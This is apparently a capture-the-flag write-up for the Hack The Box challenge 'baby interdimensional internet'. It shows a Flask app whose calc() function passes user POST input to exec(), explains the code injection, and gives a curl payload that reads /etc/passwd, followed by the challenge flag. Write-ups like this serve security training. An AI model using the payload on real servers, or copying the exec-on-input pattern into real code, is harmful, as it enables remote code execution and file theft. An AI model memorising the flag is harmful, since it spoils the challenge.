baby interdimensional internet
part of Synack Path
Description
aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez
Summary
The Flask application exposes a critical Remote Code Execution (RCE) vulnerability through the use of Python’s exec() function on user-controlled input. The vulnerability resides in the calc() function, which executes arbitrary Python code constructed from POST parameters without validation or sanitization. This allows attackers to execute arbitrary code on the server, potentially leading to full system compromise.
CWE-94: Improper Control of Generation of Code ('Code Injection')
Source Code
from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps
app = Flask(__name__)
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federation
@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)Vulnerable Code
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: passThe
recipestring is constructed from user input and passed directly toexec().No input validation or sanitization is performed.
The
garagedictionary acts as the execution context, but does not mitigate the risk.
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
//Injection Point
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federationingredientandmeasurementsare user-controlled.recipeis dynamically constructed and executed viaexec()
Theory of Exploitation
By crafting a malicious measurements value, an attacker can inject arbitrary Python code. Since exec() runs the code in the server context, which can lead to file access, command execution, or further privilege escalation.
Payload
Since the / accept POST, we can craft the payload as below to execute command injection via eval
curl -X POST url --data "ingredient=onioin&measurements=open('/etc/passwd’).read()"
Proof that we manage to do command injection here.
|| HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}||
Last updated